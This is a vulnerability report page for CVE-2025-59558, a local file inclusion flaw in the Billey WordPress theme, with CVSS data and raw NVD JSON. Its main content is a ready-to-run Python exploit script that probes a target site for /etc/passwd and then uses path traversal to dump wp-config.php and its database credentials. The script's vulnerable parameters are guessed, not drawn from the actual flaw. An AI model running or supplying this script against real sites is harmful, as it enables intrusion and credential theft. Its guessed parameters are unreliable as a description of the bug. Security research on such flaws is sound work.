Security Vulnerability Report
中文
CVE-2025-59558 CVSS 8.1 HIGH

CVE-2025-59558

Published: 2025-10-22 15:15:55
Last Modified: 2026-01-29 14:34:27

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Billey billey allows PHP Local File Inclusion.This issue affects Billey: from n/a through < 2.1.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thememove:billey:*:*:*:*:*:wordpress:*:* - VULNERABLE
Billey主题 < 2.1.6(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59558 PoC - Billey Theme Local File Inclusion # Target: WordPress site with Billey theme < 2.1.6 import requests import sys def test_lfi(url, target_file="/etc/passwd"): """ Test for Local File Inclusion vulnerability in Billey theme Parameters: - url: Target WordPress site URL - target_file: File to read (default: /etc/passwd) Common vulnerable parameters in Billey theme: - ?billey_file= - ?template= - ?page_template= """ # Common vulnerable parameter names params_to_test = [ {"billey_file": target_file}, {"template": target_file}, {"page_template": target_file}, {"billey_child_file": target_file}, {"file": target_file} ] # Common vulnerable paths paths_to_test = [ "/", "/wp-content/themes/billey/", "/wp-content/themes/billey/includes/", "/wp-content/themes/billey/inc/" ] print(f"[*] Testing LFI on {url}") print(f"[*] Target file: {target_file}") for path in paths_to_test: for params in params_to_test: try: target_url = url.rstrip('/') + path response = requests.get(target_url, params=params, timeout=10) # Check if file content is leaked if target_file in ["etc/passwd", "/etc/passwd"]: if "root:" in response.text or "daemon:" in response.text: print(f"[+] VULNERABLE! Found LFI at: {target_url}") print(f"[+] Parameter: {params}") print(f"[+] File content preview:") print(response.text[:500]) return True else: if response.status_code == 200 and len(response.text) > 0: print(f"[+] POTENTIALLY VULNERABLE: {target_url}?{list(params.keys())[0]}={target_file}") except requests.RequestException as e: print(f"[-] Error testing {path}: {e}") print("[-] No obvious LFI detected") return False def read_wp_config(url): """ Attempt to read wp-config.php if LFI is confirmed """ print("\n[*] Attempting to read wp-config.php...") paths = [ "/wp-content/themes/billey/", "/wp-content/themes/billey/inc/" ] for path in paths: target_url = url.rstrip('/') + path params = {"billey_file": "../../../../wp-config.php"} try: response = requests.get(target_url, params=params, timeout=10) if "DB_NAME" in response.text and "DB_USER" in response.text: print(f"[+] SUCCESS! wp-config.php content:") print(response.text) return True except: continue print("[-] Could not read wp-config.php") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-59558.py <target_url>") print("Example: python cve-2025-59558.py http://target.com") sys.exit(1) target_url = sys.argv[1] # Test for LFI if test_lfi(target_url): # If vulnerable, try to read sensitive files read_wp_config(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59558", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:55.127", "lastModified": "2026-01-29T14:34:27.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Billey billey allows PHP Local File Inclusion.This issue affects Billey: from n/a through < 2.1.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thememove:billey:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "2.1.6", "matchCriteriaId": "9E37B084-0E3E-4263-9C87-71B4F3E40546"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/billey/vulnerability/wordpress-billey-theme-2-1-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}